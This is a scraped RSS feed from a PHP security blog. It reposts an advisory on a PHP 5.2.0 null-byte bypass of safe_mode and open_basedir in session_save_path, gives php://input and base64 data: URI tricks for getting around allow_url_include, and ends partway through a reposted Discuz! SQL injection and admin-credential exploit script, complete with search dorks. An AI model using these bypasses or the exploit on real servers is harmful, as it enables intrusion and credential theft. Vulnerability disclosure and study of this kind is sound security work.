												<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />  Advisory Text :<br />    -----BEGIN PGP SIGNED MESSAGE-----<br />Hash: SHA1<br /><br />[PHP 5.2.0 session.save_path safe_mode and open_basedir bypass]<br /><br /><br />Author: Maksymilian Arciemowicz (SecurityReason)<br />Date:<br />- - Written: 02.10.2006<br />- - Public: 08.12.2006<br />SecurityAlert Id: 43<br />CVE: CVE-2006-6383<br />SecurityRisk: High<br />Affected Software: PHP 5.2.0<br />Advisory URL: http://securityreason.com/achievement_securityalert/43<br />Vendor: http://www.php.net<br /><br />- --- 0.Description ---<br />PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and<br />Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to<br />allow web developers to write dynamically generated pages quickly.<br /><br />A nice introduction to PHP by Stig Sather Bakken can be found at<br />http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the PHP Conference<br />Material is freely available. <br /><br />Session support in PHP consists of a way to preserve certain data across subsequent accesses.<br />This enables you to build more customized applications and increase the appeal of your web<br />site.<br /><br />A visitor accessing your web site is assigned a unique id, the so-called session id. This is<br />either stored in a cookie on the user side or is propagated in the URL.<br /><br />session.save_path defines the argument which is passed to the save handler. If you choose the<br />default files handler, this is the path where the files are created. Defaults to /tmp. See<br />also session_save_path().<br /><br />There is an optional N argument to this directive that determines the number of directory<br />levels your session files will be spread around in. For example, setting to '5;/tmp' may end<br />up creating a session file and location like<br />/tmp/4/b/1/e/3/sess_4b1e384ad74619bd212e236e52a5a174If . In order to use N you must create<br />all of these directories before use. A small shell script exists in ext/session to do this,<br />it's called mod_files.sh. Also note that if N is used and greater than 0 then automatic<br />garbage collection will not be performed, see a copy of php.ini for further information.<br />Also, if you use N, be sure to surround session.save_path in "quotes" because the<br />separator (;) is also used for comments in php.ini. <br /><br />- --- 1. session.save_path safe mode and open basedir bypass ---<br />session.save_path can be set in ini_set(), session_save_path() function. In session.save_path<br />there must be path where you will save yours tmp file. But syntax for session.save_path can<br />be:<br /><br />[/PATH]<br /><br />OR<br /><br />[N;/PATH]<br /><br />N - can be a string.<br /><br />EXAMPLES:<br /><br /></font>
										<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
												<font size="2">
														<span style="COLOR: #000000">1</span>
														<span style="COLOR: #000000">.</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #008080">session_save_path</span>
														<span style="COLOR: #000000">(</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">/DIR/WHERE/YOU/HAVE/ACCESS</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">)</span>
												</font>
										</div>
										<br />
										<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
												<font size="2">
														<span style="COLOR: #000000">2</span>
														<span style="COLOR: #000000">.</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #008080">session_save_path</span>
														<span style="COLOR: #000000">(</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">5;/DIR/WHERE/YOU/HAVE/ACCESS</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">)</span>
												</font>
										</div>
										<br />
										<font size="2">and <br /><br /></font>
										<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
												<font size="2">
														<span style="COLOR: #000000">3</span>
														<span style="COLOR: #000000">.</span>
														<span style="COLOR: #008080">session_save_path</span>
														<span style="COLOR: #000000">(</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">/DIR/WHERE/YOU/DONT/HAVE/ACCESS\0;/DIR/WHERE/YOU/HAVE/ACCESS</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">)</span>
												</font>
										</div>
										<br />
										<font size="2">- -1477-1493--- Code from PHP520 ext/session/session.c [START]<br /></font>
										<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
												<font size="2">
														<span style="COLOR: #000000">PHP_FUNCTION(</span>
														<span style="COLOR: #008080">session_save_path</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">)<br />{<br />zval </span>
														<span style="COLOR: #000000">**</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">p_name;<br />int ac </span>
														<span style="COLOR: #000000">=</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> ZEND_NUM_ARGS();<br />char </span>
														<span style="COLOR: #000000">*</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">old;<br /><br /></span>
														<span style="COLOR: #0000ff">if</span>
														<span style="COLOR: #000000"> (ac </span>
														<span style="COLOR: #000000">&lt;</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">||</span>
														<span style="COLOR: #000000"> ac </span>
														<span style="COLOR: #000000">&gt;</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">1</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">||</span>
														<span style="COLOR: #000000"> zend_get_parameters_ex(ac</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">&amp;</span>
														<span style="COLOR: #000000">p_name) </span>
														<span style="COLOR: #000000">==</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> FAILURE)<br />WRONG_PARAM_COUNT;<br /><br />old </span>
														<span style="COLOR: #000000">=</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> estrdup(PS(save_path));<br /><br /></span>
														<span style="COLOR: #0000ff">if</span>
														<span style="COLOR: #000000"> (ac </span>
														<span style="COLOR: #000000">==</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">1</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">) {<br />convert_to_string_ex(p_name);<br />zend_alter_ini_entry(</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">session.save_path</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #008080">sizeof</span>
														<span style="COLOR: #000000">(</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">session.save_path</span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">)</span>
														<span style="COLOR: #000000">,</span>
												</font>
												<span style="COLOR: #000000">
														<br />
														<font size="2">Z_STRVAL_PP(p_name)</font>
												</span>
												<font size="2">
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> Z_STRLEN_PP(p_name)</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> PHP_INI_USER</span>
														<span style="COLOR: #000000">,</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> PHP_INI_STAGE_RUNTIME);<br />}<br /><br />RETVAL_STRING(old</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0</span>
												</font>
												<span style="COLOR: #000000">
														<font size="2">);<br />}<br /></font>
												</span>
										</div>
										<font size="2">- -1477-1493--- Code from PHP520 ext/session/session.c [END]<br /><br />Values are set to hash_memory (but before that, safe_mode and open_basedir check this<br />value).<br />And if you are starting session (for example session_start()), that value from<br />session.save_path is checked by function PS_OPEN_FUNC(files).<br /><br />- -242-300--- Code from PHP520 ext/session/mod_files.c [START]<br /></font>
										<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
												<font size="2">
														<span style="COLOR: #000000">PS_OPEN_FUNC(files)<br />{<br />ps_files </span>
														<span style="COLOR: #000000">*</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">data;<br /></span>
														<span style="COLOR: #0000ff">const</span>
														<span style="COLOR: #000000"> char </span>
														<span style="COLOR: #000000">*</span>
														<span style="COLOR: #000000">p</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">*</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">last;<br /></span>
														<span style="COLOR: #0000ff">const</span>
														<span style="COLOR: #000000"> char </span>
														<span style="COLOR: #000000">*</span>
														<span style="COLOR: #000000">argv[</span>
														<span style="COLOR: #000000">3</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">];<br />int argc </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">;<br />size_t dirdepth </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">;<br />int filemode </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0600</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">;<br /><br /></span>
														<span style="COLOR: #0000ff">if</span>
														<span style="COLOR: #000000"> (</span>
														<span style="COLOR: #000000">*</span>
														<span style="COLOR: #000000">save_path </span>
														<span style="COLOR: #000000">==</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">'</span>
														<span style="COLOR: #000000">\0</span>
														<span style="COLOR: #000000">'</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">) {<br /></span>
														<span style="COLOR: #008000">/*</span>
														<span style="COLOR: #008000"> if save path is an empty string, determine the temporary dir </span>
														<span style="COLOR: #008000">*/</span>
												</font>
												<span style="COLOR: #000000">
														<br />
														<font size="2">save_path </font>
												</span>
												<span style="COLOR: #000000">
														<font size="2">=</font>
												</span>
												<font size="2">
														<span style="COLOR: #000000"> php_get_temporary_directory();<br />}<br /><br /></span>
														<span style="COLOR: #008000">/*</span>
														<span style="COLOR: #008000"> split up input parameter </span>
														<span style="COLOR: #008000">*/</span>
												</font>
												<span style="COLOR: #000000">
														<br />
														<font size="2">last </font>
												</span>
												<span style="COLOR: #000000">
														<font size="2">=</font>
												</span>
												<font size="2">
														<span style="COLOR: #000000"> save_path;<br />p </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #008080">strchr</span>
														<span style="COLOR: #000000">(save_path</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">'</span>
														<span style="COLOR: #000000">;</span>
														<span style="COLOR: #000000">'</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">);<br /></span>
														<span style="COLOR: #0000ff">while</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> (p) {<br />argv[argc</span>
														<span style="COLOR: #000000">++</span>
														<span style="COLOR: #000000">] </span>
														<span style="COLOR: #000000">=</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> last;<br />last </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">++</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">p;<br />p </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #008080">strchr</span>
														<span style="COLOR: #000000">(p</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">'</span>
														<span style="COLOR: #000000">;</span>
														<span style="COLOR: #000000">'</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">);<br /></span>
														<span style="COLOR: #0000ff">if</span>
														<span style="COLOR: #000000"> (argc </span>
														<span style="COLOR: #000000">&gt;</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">1</span>
														<span style="COLOR: #000000">) </span>
														<span style="COLOR: #0000ff">break</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">;<br />}<br />argv[argc</span>
														<span style="COLOR: #000000">++</span>
														<span style="COLOR: #000000">] </span>
														<span style="COLOR: #000000">=</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> last;<br /><br /></span>
														<span style="COLOR: #0000ff">if</span>
														<span style="COLOR: #000000"> (argc </span>
														<span style="COLOR: #000000">&gt;</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">1</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">) {<br />errno </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">;<br />dirdepth </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> (size_t) strtol(argv[</span>
														<span style="COLOR: #000000">0</span>
														<span style="COLOR: #000000">]</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #0000ff">NULL</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">10</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">);<br /></span>
														<span style="COLOR: #0000ff">if</span>
														<span style="COLOR: #000000"> (errno </span>
														<span style="COLOR: #000000">==</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> ERANGE) {<br />php_error(</span>
														<span style="COLOR: #ff00ff">E_WARNING</span>
														<span style="COLOR: #000000">,</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> <br /></span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">The first parameter in session.save_path is invalid</span>
														<span style="COLOR: #000000">"</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">);<br /></span>
														<span style="COLOR: #0000ff">return</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> FAILURE;<br />}<br />}<br /><br /></span>
														<span style="COLOR: #0000ff">if</span>
														<span style="COLOR: #000000"> (argc </span>
														<span style="COLOR: #000000">&gt;</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">2</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">) {<br />errno </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">;<br />filemode </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> strtol(argv[</span>
														<span style="COLOR: #000000">1</span>
														<span style="COLOR: #000000">]</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #0000ff">NULL</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">8</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">);<br /></span>
														<span style="COLOR: #0000ff">if</span>
														<span style="COLOR: #000000"> (errno </span>
														<span style="COLOR: #000000">==</span>
														<span style="COLOR: #000000"> ERANGE </span>
														<span style="COLOR: #000000">||</span>
														<span style="COLOR: #000000"> filemode </span>
														<span style="COLOR: #000000">&lt;</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">||</span>
														<span style="COLOR: #000000"> filemode </span>
														<span style="COLOR: #000000">&gt;</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">07777</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">) {<br />php_error(</span>
														<span style="COLOR: #ff00ff">E_WARNING</span>
														<span style="COLOR: #000000">,</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> <br /></span>
														<span style="COLOR: #000000">"</span>
														<span style="COLOR: #000000">The second parameter in session.save_path is invalid</span>
														<span style="COLOR: #000000">"</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">);<br /></span>
														<span style="COLOR: #0000ff">return</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> FAILURE;<br />}<br />}<br />save_path </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> argv[argc </span>
														<span style="COLOR: #000000">-</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">1</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">];<br /><br />data </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> emalloc(</span>
														<span style="COLOR: #008080">sizeof</span>
														<span style="COLOR: #000000">(</span>
														<span style="COLOR: #000000">*</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">data));<br />memset(data</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">0</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #008080">sizeof</span>
														<span style="COLOR: #000000">(</span>
														<span style="COLOR: #000000">*</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">data));<br /><br />data</span>
														<span style="COLOR: #000000">-&gt;</span>
														<span style="COLOR: #000000">fd </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #000000">-</span>
														<span style="COLOR: #000000">1</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">;<br />data</span>
														<span style="COLOR: #000000">-&gt;</span>
														<span style="COLOR: #000000">dirdepth </span>
														<span style="COLOR: #000000">=</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> dirdepth;<br />data</span>
														<span style="COLOR: #000000">-&gt;</span>
														<span style="COLOR: #000000">filemode </span>
														<span style="COLOR: #000000">=</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000"> filemode;<br />data</span>
														<span style="COLOR: #000000">-&gt;</span>
														<span style="COLOR: #000000">basedir_len </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> </span>
														<span style="COLOR: #008080">strlen</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">(save_path);<br />data</span>
														<span style="COLOR: #000000">-&gt;</span>
														<span style="COLOR: #000000">basedir </span>
														<span style="COLOR: #000000">=</span>
														<span style="COLOR: #000000"> estrndup(save_path</span>
														<span style="COLOR: #000000">,</span>
														<span style="COLOR: #000000"> data</span>
														<span style="COLOR: #000000">-&gt;</span>
												</font>
												<font size="2">
														<span style="COLOR: #000000">basedir_len);<br /><br />PS_SET_MOD_DATA(data);<br /><br /></span>
														<span style="COLOR: #0000ff">return</span>
												</font>
												<span style="COLOR: #000000">
														<font size="2"> SUCCESS;<br />}<br /></font>
												</span>
										</div>
										<font size="2">- -242-300--- Code from PHP520 ext/session/mod_files.c [END]<br /><br />Because in session.save_path there is a NULL byte before ";", strchr() doesn't see<br />";" and path is /DIR/WHERE/YOU/DONT/HAVE/ACCESS.<br /><br />Problem exists because safe_mode and open_basedir check what is after ;. And it is needed to<br />set correct path after ";".<br /><br />- --- 2. How to fix ---<br />http://cvs.php.net/viewcvs.cgi/php-src/NEWS<br /><br />- --- 3. Greets ---<br /><br />For: sp3x<br />and<br />l5x, p_e_a, lorddav, pi3<br /><br />- --- 4. Contact ---<br />Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]<br />Email: cxib [at] securityreason [dot] com<br />GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg<br /><br />Regards <br />SecurityReason<br /><br />-----BEGIN PGP SIGNATURE-----<br />Version: GnuPG v1.4.2.2 (FreeBSD)<br /><br />iD8DBQFFedKL3Ke13X/fTO4RAms1AKCTSc8CNZmHWhXvOdjtTBcIgdHTuwCgkvrz<br />9KnewH0rOVFfmPRx2f1x5W4=<br />=YAP9<br />-----END PGP SIGNATURE-----<br /><br /></font>
								</div>
						</tr>
				</tbody>
		</table>
<img src ="http://www.phpweblog.net/GaRY/aggbug/552.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-12-09 12:10 <a href="http://www.phpweblog.net/GaRY/archive/2006/12/09/PHP_5_0_2_session_save_path.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP 5.2.0对Remote include的影响</title><link>http://www.phpweblog.net/GaRY/archive/2006/11/03/492.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Fri, 03 Nov 2006 14:03:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/11/03/492.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/492.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/11/03/492.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/492.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/492.html</trackback:ping><description><![CDATA[
		<a href="http://www.php.net/ChangeLog-5.php#5.2.0">http://www.php.net/ChangeLog-5.php#5.2.0</a>
		<br />Added allow_url_include ini directive to complement allow_url_fopen. (Rasmus) <br /><br />也就是说，远程包含文件漏洞，或者是后门，变的很难奏效了。<br />不过同样有两种方式绕过。<br /><br />一个是：<br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #0000ff">include</span><span style="COLOR: #000000"> (</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">php://input</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);</span></div><br />另一种方式只在5.2.0版本以上才支持：<br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #0000ff">include</span><span style="COLOR: #000000"> (</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">data:;base64,PD9waHAgcGhwaW5mbygpOz8+</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">); </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">phpinfo()</span></div><br />Refence:<br /><a href="http://cn.php.net/manual/en/wrappers.data.php">http://cn.php.net/manual/en/wrappers.data.php</a><br /><a href="http://www.faqs.org/rfcs/rfc2397">http://www.faqs.org/rfcs/rfc2397</a><img src ="http://www.phpweblog.net/GaRY/aggbug/492.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-11-03 22:03 <a href="http://www.phpweblog.net/GaRY/archive/2006/11/03/492.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>n久没更新</title><link>http://www.phpweblog.net/GaRY/archive/2006/10/27/480.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Fri, 27 Oct 2006 13:15:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/10/27/480.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/480.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/10/27/480.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/480.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/480.html</trackback:ping><description><![CDATA[转exp之<br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #000000">&lt;?</span><span style="COLOR: #000000">php<br /></span><span style="COLOR: #008080">print_r</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000"><br />---------------------------------------------------------------------------<br />Discuz! 5.0.0 GBK SQL injection / admin credentials disclosure exploit<br />by rgod rgod@autistici.org<br />site: http://retrogod.altervista.org<br />dorks: "powered by discuz! 5.0.0<br />       "powered by discuz!<br />---------------------------------------------------------------------------<br /></span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">);<br /></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$argc</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">) {<br />    </span><span style="COLOR: #008080">print_r</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000"><br />---------------------------------------------------------------------------<br />Usage: php </span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$argv</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000"> host path OPTIONS<br />host:      target server (ip/hostname)<br />path:      path to discuz<br />Options:<br /> -p[port]:    specify a port other than 80<br /> -P[ip:port]: specify a proxy<br />Example:<br />php </span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$argv</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000"> localhost /discuz/ -P1.1.1.1:80<br />php </span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$argv</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000"> localhost /discuz/ -p81<br />---------------------------------------------------------------------------<br /></span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">);<br />    </span><span style="COLOR: #0000ff">die</span><span style="COLOR: #000000">;<br />}<br /></span><span style="COLOR: #008080">error_reporting</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);<br /></span><span style="COLOR: #008080">ini_set</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">max_execution_time</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);<br /></span><span style="COLOR: #008080">ini_set</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">default_socket_timeout</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">);<br /><br /></span><span style="COLOR: #0000ff">function</span><span style="COLOR: #000000"> quick_dump(</span><span style="COLOR: #800080">$string</span><span style="COLOR: #000000">)<br />{<br />  </span><span style="COLOR: #800080">$result</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">;</span><span style="COLOR: #800080">$exa</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">;</span><span style="COLOR: #800080">$cont</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br />  </span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">&lt;=</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$string</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">++</span><span style="COLOR: 